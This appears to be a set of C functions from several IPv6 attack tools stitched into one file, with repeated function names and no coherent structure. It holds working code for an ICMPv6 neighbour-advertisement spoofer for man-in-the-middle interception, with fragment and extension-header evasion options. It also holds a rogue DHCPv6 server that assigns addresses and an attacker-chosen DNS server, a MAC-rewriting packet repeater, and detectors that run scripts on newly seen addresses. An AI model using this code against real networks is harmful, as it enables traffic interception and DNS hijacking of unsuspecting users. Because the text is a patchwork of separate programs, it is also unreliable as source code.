/** Funcao de captura de pacotes [eh passada como parametro para a pcap ] u_char *foo --> ??? const struct pcap_pkthdr *header --> Cabecalho contendo informacoes sobre o pacote capturado fields: ts : uma "struct timeval" contendo o tempo onde o pacote foi capturado caplen : um "bpf_u_int32" contendo o numero de bytes da captura disponivel len : um "bpf_u_int32" contendo o numero total de bytes obtidos na captura [que pode ser superior ao numero de bytes disponiveis] const unsigned char *data --> campo de dados do pacote capturado [No caso o pacote ipv6] */ void check_packets(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { int i, ok = 1; unsigned char *ptr = (unsigned char *) data + 14; // pulando para o campo de src addr // Funcao de debug, realiza o dump do pacote capturado na tela if (debug) { thc_dump_data(ptr, header->caplen - 14, "Received Packet"); } // Verificacao caso o IP[Host] ja tenha sido dado como "alive" i = 0; while (ok && i < alive_no) { if ((memcmp(alive[i], ptr + 8, 16) == 0) && (memcmp(aliveMac[i], ptr - 8, 6) == 0)) ok = 0; i++; } // Se passou em todas as verificacoes, o endereco de origem eh armazenado em memoria if (ok && ((alive[alive_no] = malloc(16)) != NULL) && ((aliveMac[alive_no] = malloc(6)) != NULL)) { printf("."); memcpy(alive[alive_no], (ptr + 8), 16); memcpy(aliveMac[alive_no], (ptr - 8), 6); alive_no++; } }
void intercept(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) != 0) return; if (debug) printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n"); ptr4 = thc_ipv62notation((char *) (data + 62)); printf("Detected new ip6 address: %s\n", ptr4); if (script != NULL && fork() == 0) { sprintf(es, "%s %s", script, ptr4); if (system(es) < 0) fprintf(stderr, "Error: Executing failed - %s\n", es); exit(0); } free(ptr4); (void) wait3(NULL, WNOHANG, NULL); return; }
int createRepeater(unsigned char *nodAIp, unsigned char *nodAMac, unsigned char *nodBIp, unsigned char *nodBMac) { ownMac = resolveMAC(mArgs.ownMac); if (DEBUG) thc_dump_data(ownMac, 6, "Own mac:"); nodeAIp = thc_resolve6(nodAIp); nodeAMac = resolveMAC(nodAMac); nodeBIp = thc_resolve6(nodBIp); nodeBMac = resolveMAC(nodBMac); int pid = 0; char filter[256] = "ip6 and ( ( src "; strcat(filter, nodAIp); strcat(filter, " and dst "); strcat(filter, nodBIp); strcat(filter, " ) or ( src "); strcat(filter, nodBIp); strcat(filter, " and dst "); strcat(filter, nodAIp); strcat(filter, " ) )"); if (DEBUG) printf("Filter : %s \n", filter); if ((pid = fork()) == 0) { thc_pcap_function(mArgs.interface, filter, (char *) repeater, 1, NULL); exit(0); } return pid; }
void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *) data; int len = header->caplen, i, j; if (rawmode == 0) { if (do_hdr_size) { ptr += do_hdr_size; len -= do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else { ptr += 14; len -= 14; } } if (debug) thc_dump_data(ptr, len, "Received Packet"); if (ptr[6] == 0x3a && ptr[40] == ICMP6_INVNEIGHBORADV && len >= 56) { done = 1; j = (len - 56) / 16; if (j == 0) { printf("Empty Inverse Neighbor Discovery message received by %s for %s\n", thc_ipv62notation((char *) ptr + 8), mac); } else { printf("Inverse Advertisement Discovery message received by %s for %s (%d entries):\n", thc_ipv62notation((char *) ptr + 8), mac, j); for (i = 0; i < j; i++) printf(" %s\n", thc_ipv62notation((char *) ptr + 56 + i * 16)); } } }
void repeater(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); int pkt_len = header->caplen; unsigned char *pkt = NULL; int erro = 0; if (ipv6hdr[6] == NXT_ICMP6 && (ipv6hdr[40] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_NEIGHBORADV)) { return; } if (memcmp(data, ownMac, 6)) { return; } pkt = malloc(header->caplen); memcpy(pkt, data, header->caplen); if (DEBUG) thc_dump_data(pkt, pkt_len, "CAPTURED PACKET:"); if (memcmp(data + 6, nodeAMac, 6) == 0) { memcpy(pkt, nodeBMac, 6); //changing the destination } if (memcmp(data + 6, nodeBMac, 6) == 0) { memcpy(pkt, nodeAMac, 6); //changing the destination } memcpy(pkt + 6, ownMac, 6); //changing the source if (DEBUG) printf(" < %d >\n", pkt_len); if (DEBUG) thc_dump_data(pkt, pkt_len, "SPOOFED PACKET:"); clearerr(stderr); if ((erro = daemon6_send_pkt(interface, pkt, &pkt_len)) < 0) perror("No success"); if (DEBUG) printf("errono = %d\n", erro); }
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); int len = header->caplen - 14; if (do_hdr_size) { ipv6hdr = (unsigned char *) (data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; } if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || len < 64) return; if (*(ipv6hdr + 8) + *(ipv6hdr + 9) + *(ipv6hdr + 10) + *(ipv6hdr + 11) + *(ipv6hdr + 12) + *(ipv6hdr + 13) + *(ipv6hdr + 14) + *(ipv6hdr + 15) != 0) return; if (debug) printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n"); (void) wait3(NULL, WNOHANG, NULL); ptr4 = thc_ipv62notation((char *) (ipv6hdr + 48)); printf("Detected new ip6 address: %s\n", ptr4); if (script != NULL && fork() == 0) { snprintf(es, sizeof(es), "%s %s %s", script, ptr4, interface); if (system(es) < 0) fprintf(stderr, "Error: Executing failed - %s\n", es); exit(0); } free(ptr4); return; }
int main(int argc, char *argv[]) { char *routerip, *interface, mac[16] = ""; char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024]; unsigned char *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3; unsigned char *dns; int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr; struct sockaddr_in6 ddst; unsigned long long int count = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (strcmp(argv[1], "-r") == 0) { // is ignored argv++; argc--; } memset(mac, 0, sizeof(mac)); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc >= 6 && (ptr = argv[5]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else mac6 = thc_get_own_mac(interface); if (argc >= 5 && argv[4] != NULL) ip6 = thc_resolve6(argv[4]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (argc >= 4 && argv[3] != NULL) dns = thc_resolve6(argv[3]); else dns = thc_resolve6("ff02::fb"); routerip = argv[2]; if ((ptr = index(routerip, '/')) == NULL) { printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); routerip6 = thc_resolve6(routerip); if (routerip6 == NULL || size < 1 || size > 128) { fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]); exit(-1); } if (size < 64) { fprintf(stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n"); size = 64; } if (size % 8 > 0) { size = ((size / 8) + 1) * 8; fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8); } csize = 8 - ((size - 64) / 8); if (dns == NULL) { fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]); exit(-1); } /* if (mtu < 1 || mtu > 65536) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu); */ if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } if ((s = thc_bind_udp_port(547)) < 0) { fprintf(stderr, "Error: could not bind to 547/udp\n"); exit(-1); } if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) { fprintf(stderr, "Error: could not bind multicast address\n"); exit(-1); } if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("Error:"); exit(-1); } memset(mybuf, 0, sizeof(mybuf)); mybuf[1] = 2; mybuf[3] = 14; mybuf[5] = 1; mybuf[7] = 1; // mybuf + 8 == time memcpy(mybuf + 12, mac6, 6); mlen = 18; mybuf[mlen + 1] = 23; mybuf[mlen + 3] = 16; memcpy(mybuf + mlen + 4, dns, 16); mlen += 20; printf("Starting to fake dhcp6 server on %s for %s (Press Control-C to end) ...\n\n", interface, argv[2]); while (1) { memset((char *) &from, 0, sizeof(from)); memset(&iov, 0, sizeof(iov)); memset(&mhdr, 0, sizeof(mhdr)); iov.iov_base = rdatabuf; iov.iov_len = sizeof(rdatabuf); mhdr.msg_name = &from; mhdr.msg_namelen = sizeof(from); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; mhdr.msg_control = (caddr_t) cmsgbuf; mhdr.msg_controllen = sizeof(cmsgbuf); if ((len = recvmsg(s, &mhdr, 0)) > 0) { fromlen = mhdr.msg_namelen; if (debug) thc_dump_data(rdatabuf, len, "Received Packet"); ddst.sin6_addr = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_addr; ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr); switch (rdatabuf[0]) { case 1: ptr1 = "Solicitate"; break; case 2: ptr1 = "Advertise (illegal, ignored)"; break; case 3: ptr1 = "Request"; break; case 4: ptr1 = "Confirm"; break; case 5: ptr1 = "Renew"; break; case 6: ptr1 = "Rebind"; break; case 7: ptr1 = "Reply (illegal, ignored)"; break; case 8: ptr1 = "Release (ignored)"; break; case 9: ptr1 = "Decline (ignored)"; break; case 10: ptr1 = "Reconfigure (illegal, ignored)"; break; case 11: ptr1 = "Information Request (ignored)"; break; case 12: ptr1 = "Relay Forward (ignored)"; break; case 13: ptr1 = "Relay Reply (ignored)"; break; default: ptr1 = "Unknown (ignored)"; break; } printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2); free(ptr2); if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) { memset(wdatabuf, 0, sizeof(wdatabuf)); memcpy(wdatabuf + 1, rdatabuf + 1, 3); i = j = 4; k = -1; if (rdatabuf[0] == 1) { // initial request wdatabuf[0] = 2; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { if (rdatabuf[j + 1] == 1) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; } else if (rdatabuf[j + 1] == 3) { k = j; // just set a pointer } j += l + 4; } } // add 02, 23 j = time(NULL); memcpy(mybuf + 8, (char *) &j + _TAKE4, 4); memcpy(wdatabuf + i, mybuf, mlen); i += mlen; // now expand 3 if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) { // copy structure memcpy(wdatabuf + i, rdatabuf + k, 16); } else { // or create new wdatabuf[i + 1] = 3; memcpy(wdatabuf + i + 4, (char *) &j + _TAKE4, 4); // copy time as IAID } wdatabuf[i + 3] = 40; memset(wdatabuf + i + 8, 0, 8); wdatabuf[i + 10] = 0x7f; wdatabuf[i + 14] = 0xfe; i += 16; wdatabuf[i + 1] = 5; wdatabuf[i + 3] = 24; memcpy(wdatabuf + i + 4, routerip6, 16); // address count++; if (csize > 0) memcpy(wdatabuf + i + 4 + 16 - csize, (char *) &count, csize); // counter ptr3 = thc_ipv62notation(wdatabuf + i + 4); wdatabuf[i + 21] = 2; wdatabuf[i + 25] = 2; i += 28; } else { wdatabuf[0] = 7; m = 0; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { // just copy types 1-3 and 23 if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; if (rdatabuf[j + 1] == 23) k = 1; if (rdatabuf[j + 1] == 3) m = 1; } j += l + 4; } } if (k == -1) { memcpy(wdatabuf + i, mybuf + 18, 20); i += 20; } } len = i; if (debug) thc_dump_data(wdatabuf, len, "Reply Packet"); ddst.sin6_family = AF_INET6; ddst.sin6_port = htons(546); //ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ddst.sin6_scope_id = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_scope_id; if (sendto(t, wdatabuf, len, 0, (struct sockaddr *) &ddst, sizeof(ddst)) < 0) perror("Error:"); else { ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr); if (wdatabuf[0] == 2) { printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3); free(ptr3); } else if (m) printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2); else printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2); free(ptr2); } } } } /* packet structure: 1 byte = type 3 bytes = sessionid while(packet data) { 2 bytes = type 2 bytes = length in bytes of following data ... defined fixed length data ... } server listen on ff02::1:2 udp 547 client connects from linklocal port 546, ttl 1 01 = solicit 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 16 bytes = 03 blob (want perm address) 5 + length + hostname = hostname 18 bytes = blob (vendor class, type 16) 12 bytes = blob (requested options, type 6) server sends to linklocal (respect client port), ttl 1 02 = advertise 3 bytes = sessionid (copy) 18 bytes = 01 blob (client copy of client-id) 8 bytes = 02 blob (server id + time + mac) 4 bytes = time 6 bytes = mac 0003 = give perm address 2 bytes = length 4 bytes = IAID (from client request!) 4 bytes = validity time 1 (1800) 4 bytes = validity time 2 (2880) 0005 = address structure 2 bytes = length (24 bytes) 16 bytes = address 4 bytes = validity time (3600) 4 byte = validity time (same) 0023 = dns option 2 bytes = length (16 bytes) 16 bytes = dns server address client sends to ff02::1:2 ! 03 = request 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 18 bytes = client (again) 18 bytes = server (copy) 44 bytes = address (copy) 5 + length + hostname = hostname (again) 18 bytes = blob again (vendor class, type 16) 12 bytes = blob again (requested options, type 6) server replies 7 = reply copy original advertise packet :-) */ return 0; // never reached }
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) == 0) return; if (debug) printf("DEBUG: packet is a valid icmp6 neighbor solitication\n"); memcpy(ipv6->pkt, data + 6, 6); // copy srcmac to dstmac memcpy(ipv6->pkt + 38, data + 22, 16); // copy srcip6 to dstip6 memcpy(ipv6->pkt + 22, data + 62, 16); // copy target to srcip6 memcpy(ipv6->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 62, 16); // copy target to target ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); ptr2 = thc_ipv62notation(ipv6->pkt + 38); ptr4 = thc_ipv62notation(ipv6->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); ipv6->pkt[pkt_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) { memcpy(ipv62->pkt, data + 74, 4); // create the multicast mac for the dst so we dont need to do a NS :-) memcpy(ipv62->pkt + 38, data + 62, 16); // copy target do dst6 memcpy(ipv62->pkt + 22, data + 22, 16); // copy source to source memcpy(ipv62->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 22, 16); // copy source to target ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv62->pkt + 22, ipv62->pkt + 38, NXT_ICMP6, ipv62->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt2, &pkt2_len); ptr2 = thc_ipv62notation(ipv62->pkt + 38); ptr4 = thc_ipv62notation(ipv62->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); } if ((pp[pp_cnt] = fork()) == 0) { usleep(200); debug = 0; if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } sleep(1); if (do_loop == 1) { signal(SIGTERM, exit); signal(SIGSEGV, exit); signal(SIGHUP, exit); signal(SIGINT, exit); while (1) { sleep(5); if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } } } exit(0); } else if (do_loop == 1 && pp[pp_cnt] != -1) { if (pp_cnt < 65534) pp_cnt++; else do_loop = 2; } ipv6->pkt[56] = 0; ipv6->pkt[57] = 0; ipv6->pkt[pkt_len - 28] = 0x60; // set SOL flag again (void) wait3(NULL, WNOHANG, NULL); return; }
int main(int argc, char *argv[]) { char dummy[24], mac[16] = "", buf2[6], buf3[1398]; unsigned char *ownmac = mac; int i, j; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (debug) printf("Preparing spoofed packet for speed-up\n"); while ((i = getopt(argc, argv, "FHDRl")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 'R': do_reverse = 1; break; case 'l': do_loop = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); interface = argv[optind]; if (argc - optind == 2 && argv[optind + 1] != NULL) sscanf(argv[optind + 1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else ownmac = thc_get_own_mac(interface); if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memset(dummy, 'X', sizeof(dummy)); dummy[16] = 2; dummy[17] = 1; memcpy(&dummy[18], ownmac, 6); memset(buf2, 0, sizeof(buf2)); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); for (i = 0; i <= 0 + do_reverse; i++) { // printf("i: %d\n", i); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { ptype = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (ptype == NXT_ICMP6) ptype = NXT_FRAG; for (j = 0; j < do_frag; j++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (ptype == NXT_ICMP6) ptype = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE | ICMP6_NEIGHBORADV_ROUTER, dummy, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero if (debug) { thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet"); printf("\n"); } // printf("i: %d, do_reverse: %d\n", i, do_reverse); if (i == 0 && do_reverse) { // printf("ipv62->ipv6 %p\n", ipv6); ipv62 = ipv6; ipv62->pkt[0] = 0x33; // multicast mac hack for destination ipv62->pkt[1] = 0x33; // multicast mac hack for destination ipv6 = NULL; pkt2 = pkt; pkt = NULL; pkt2_len = pkt_len; pkt_len = 0; ipv62->pkt[pkt2_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only } } signal(SIGTERM, kill_children); signal(SIGSEGV, kill_children); signal(SIGHUP, kill_children); signal(SIGINT, kill_children); memset((char*)pp, 0, sizeof(pp)); printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n"); printf(" => echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\n"); printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n"); return thc_pcap_function(interface, "icmp6", (char *) intercept, 1, NULL); }
void detect(u_char *foo, const struct pcap_pkthdr *header, unsigned char *data) { char *ptr = data, *ptr2; int i, j, k, offset = 8, doit, len = header->caplen; if (do_hdr_size) { len -= do_hdr_size; ptr += do_hdr_size; thc_dump_data(ptr, 8, "packet"); if ((ptr[0] & 240) != 0x60) return; } else { len -= 14; ptr += 14; } // drop ff00::/8 and ::/128 for (k = 0; k <= do_dst; k++) { doit = 0; if (ptr[offset] != 0xff && ( maxhop > 254 || ptr[7] >= 255 - maxhop || (ptr[7] >= 128 - maxhop && ptr[7] <= 128) || (ptr[7] >= 64 - maxhop && ptr[7] <= 64) ) ) doit = 1; if (memcmp(ptr + 8, d[dcnt + 1], 16) == 0) { if (k == 0 && ptr[7] == 255 && ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_NEIGHBORSOL && len >= 64) { doit = 1; // DAD packet offset = 48; } else doit = 0; } // is it our own address? if (memcmp(ptr + offset + 8, hostpart, 8) == 0) doit = 0; if (doit) { // replace prefix with link-local if -R if (replace != NULL) if (memcmp(ptr + offset, replace, 8) == 0) memcpy(ptr + offset, ll, 8); // check for doubles j = 0; if (dcnt > 0) for (i = 0; i < dcnt && j == 0; i++) if (memcmp(ptr + offset, d[i], 16) == 0) j = 1; if (j == 0) { // no double ptr2 = thc_ipv62notation((char *) (ptr + offset)); printf("%s%s\n", noverb == 0 ? "Detected: " : "", ptr2); if (dcnt < MAX_ENTRIES) { // add to double list memcpy(d[dcnt], ptr + offset, 16); dcnt++; } else if (dcnt == MAX_ENTRIES) { // table full? should not happen, smells like attack dcnt++; fprintf(stderr, "Warning: Table for detected IPv6 addresses is full, doubles can occur now!\n"); } if (script != NULL && fork() == 0) { // beware, this can DOS you (void) wait3(NULL, WNOHANG, NULL); snprintf(exec, sizeof(exec), "%s %s %s\n", script, ptr2, interface); if (system(exec) < 0) fprintf(stderr, "Error: Executing failed - %s\n", exec); exit(0); } free(ptr2); } } offset += 16; } }
int main(int argc, char *argv[]) { char dummy[24], mac[6] = "", buf2[6], buf3[1398]; unsigned char *ownmac = mac; int i; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (debug) printf("Preparing spoofed packet for speed-up\n"); while ((i = getopt(argc, argv, "FHDRl")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 'R': do_reverse = 1; break; case 'l': do_loop = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); interface = argv[optind]; if (argc - optind == 2 && argv[optind + 1] != NULL) sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else ownmac = thc_get_own_mac(interface); memset(dummy, 'X', sizeof(dummy)); dummy[16] = 2; dummy[17] = 1; memcpy(&dummy[18], ownmac, 6); memset(buf2, 0, sizeof(buf2)); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); for (i = 0; i <= 0 + do_reverse; i++) { if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { ptype = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (ptype == NXT_ICMP6) ptype = NXT_FRAG; for (i = 0; i < do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (ptype == NXT_ICMP6) ptype = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero if (debug) { thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet"); printf("\n"); } if (i == 0 && do_reverse) { ipv62 = ipv6; ipv62->pkt[0] = 0x33; // multicast mac hack for destination ipv62->pkt[1] = 0x33; // multicast mac hack for destination ipv6 = NULL; pkt2 = pkt; pkt = NULL; pkt2_len = pkt_len; pkt_len = 0; } } printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n"); printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n"); return thc_pcap_function(interface, "ip6", (char *) intercept, NULL); }
